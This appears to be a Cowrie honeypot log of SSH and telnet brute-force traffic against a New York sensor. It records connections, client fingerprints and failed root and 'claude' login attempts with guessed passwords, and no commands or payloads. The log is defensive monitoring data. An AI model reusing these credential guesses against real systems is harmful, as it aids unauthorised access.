{"eventid":"cowrie.session.closed","duration":33.18905735015869,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:03:58.411765Z","src_ip":"192.119.13.58","session":"2ba30c37086b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49668,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f1514222464","protocol":"telnet","message":"New connection: 192.119.13.58:49668 (10.17.0.5:23) [session: 8f1514222464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:07.972610Z"}
{"eventid":"cowrie.session.closed","duration":34.70547699928284,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:08.364456Z","src_ip":"192.119.13.58","session":"d87c80dd7bdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.26386737823486,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:08.930398Z","src_ip":"192.119.13.58","session":"86f98bc093f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:13.157110Z","src_ip":"89.223.69.22","session":"57bb4fee21cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.71311807632446,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:16.843062Z","src_ip":"192.119.13.58","session":"9cabaf1f7894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57532,"dst_ip":"10.17.0.5","dst_port":23,"session":"a30bbff168af","protocol":"telnet","message":"New connection: 192.119.13.58:57532 (10.17.0.5:23) [session: a30bbff168af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:28.493324Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":51344,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c7966fe774a","protocol":"ssh","message":"New connection: 102.88.137.145:51344 (10.17.0.5:22) [session: 1c7966fe774a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:38.780632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:38.785734Z","src_ip":"102.88.137.145","session":"1c7966fe774a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:38.964948Z","src_ip":"102.88.137.145","session":"1c7966fe774a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#qweQWE","message":"login attempt [root/123!@#qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:39.713627Z","src_ip":"102.88.137.145","session":"1c7966fe774a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:40.900219Z","src_ip":"102.88.137.145","session":"1c7966fe774a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46116,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbe992c11b07","protocol":"ssh","message":"New connection: 103.27.238.116:46116 (159.203.135.109:22) [session: dbe992c11b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:41.967937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:41.973425Z","src_ip":"103.27.238.116","session":"dbe992c11b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:42.249062Z","src_ip":"103.27.238.116","session":"dbe992c11b07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"y123456","message":"login attempt [root/y123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:43.075928Z","src_ip":"103.27.238.116","session":"dbe992c11b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:44.355107Z","src_ip":"103.27.238.116","session":"dbe992c11b07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":39828,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bb6ac2b21ef","protocol":"ssh","message":"New connection: 89.110.87.138:39828 (10.17.0.5:22) [session: 8bb6ac2b21ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:44.989801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:44.996274Z","src_ip":"89.110.87.138","session":"8bb6ac2b21ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:45.116014Z","src_ip":"89.110.87.138","session":"8bb6ac2b21ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anastasia","message":"login attempt [root/anastasia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:45.616034Z","src_ip":"89.110.87.138","session":"8bb6ac2b21ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:46.736985Z","src_ip":"89.110.87.138","session":"8bb6ac2b21ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.32393789291382,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:04:54.296448Z","src_ip":"192.119.13.58","session":"8f1514222464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45252,"dst_ip":"10.17.0.5","dst_port":23,"session":"12f8ab5d43a0","protocol":"telnet","message":"New connection: 192.119.13.58:45252 (10.17.0.5:23) [session: 12f8ab5d43a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:06.557208Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":60696,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7f32004975b","protocol":"ssh","message":"New connection: 43.156.39.221:60696 (10.17.0.5:22) [session: d7f32004975b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:07.995152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:08.006031Z","src_ip":"43.156.39.221","session":"d7f32004975b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:08.237177Z","src_ip":"43.156.39.221","session":"d7f32004975b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"squid","message":"login attempt [root/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:09.191683Z","src_ip":"43.156.39.221","session":"d7f32004975b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:10.426841Z","src_ip":"43.156.39.221","session":"d7f32004975b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.710325479507446,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:18.203505Z","src_ip":"192.119.13.58","session":"a30bbff168af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":58086,"dst_ip":"10.17.0.5","dst_port":22,"session":"d20a00893f3a","protocol":"ssh","message":"New connection: 147.45.199.80:58086 (10.17.0.5:22) [session: d20a00893f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:22.034168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:22.051417Z","src_ip":"147.45.199.80","session":"d20a00893f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:22.139312Z","src_ip":"147.45.199.80","session":"d20a00893f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43640,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c18b9df7ff","protocol":"telnet","message":"New connection: 192.119.13.58:43640 (10.17.0.5:23) [session: 87c18b9df7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:22.384695Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:22.529319Z","src_ip":"147.45.199.80","session":"d20a00893f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:23.631840Z","src_ip":"147.45.199.80","session":"d20a00893f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49998,"dst_ip":"10.17.0.5","dst_port":23,"session":"b42b84067e27","protocol":"telnet","message":"New connection: 192.119.13.58:49998 (10.17.0.5:23) [session: b42b84067e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:24.339044Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.143.237.191","src_port":53172,"dst_ip":"10.17.0.5","dst_port":23,"session":"77df6f38cbec","protocol":"telnet","message":"New connection: 81.143.237.191:53172 (10.17.0.5:23) [session: 77df6f38cbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:36.076129Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48190,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a3c25447c27","protocol":"telnet","message":"New connection: 192.119.13.58:48190 (10.17.0.5:23) [session: 7a3c25447c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:39.190714Z"}
{"eventid":"cowrie.session.closed","duration":33.879764795303345,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:40.436846Z","src_ip":"192.119.13.58","session":"12f8ab5d43a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39846,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b59c19d515","protocol":"telnet","message":"New connection: 192.119.13.58:39846 (10.17.0.5:23) [session: 49b59c19d515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:44.154513Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":6418,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec65a034672","protocol":"ssh","message":"New connection: 89.110.87.138:6418 (10.17.0.5:22) [session: 9ec65a034672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:48.223760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:48.227769Z","src_ip":"89.110.87.138","session":"9ec65a034672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:48.351604Z","src_ip":"89.110.87.138","session":"9ec65a034672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:48.879951Z","src_ip":"89.110.87.138","session":"9ec65a034672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:05:50.008544Z","src_ip":"89.110.87.138","session":"9ec65a034672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":56894,"dst_ip":"10.17.0.5","dst_port":22,"session":"90a2cec9c793","protocol":"ssh","message":"New connection: 102.88.137.145:56894 (10.17.0.5:22) [session: 90a2cec9c793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:05.468960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:05.485561Z","src_ip":"102.88.137.145","session":"90a2cec9c793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:05.665593Z","src_ip":"102.88.137.145","session":"90a2cec9c793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.38674354553223,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:05.771351Z","src_ip":"192.119.13.58","session":"87c18b9df7ff","protocol":"telnet"}
